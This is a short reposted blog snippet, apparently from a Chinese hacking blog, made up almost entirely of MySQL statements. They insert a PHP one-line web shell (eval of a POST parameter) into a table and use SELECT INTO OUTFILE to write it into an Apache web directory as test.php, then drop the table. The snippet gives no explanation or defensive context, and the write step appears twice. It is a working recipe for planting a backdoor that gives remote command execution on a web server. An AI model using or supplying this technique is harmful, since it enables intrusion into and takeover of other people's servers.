Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '/usr/local/apache/test/test.php';
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '/usr/local/apache/test/test.php';
Drop TABLE IF EXISTS a;
本文转自 simeon2005 51CTO博客，原文链接:http://blog.51cto.com/simeon/197416
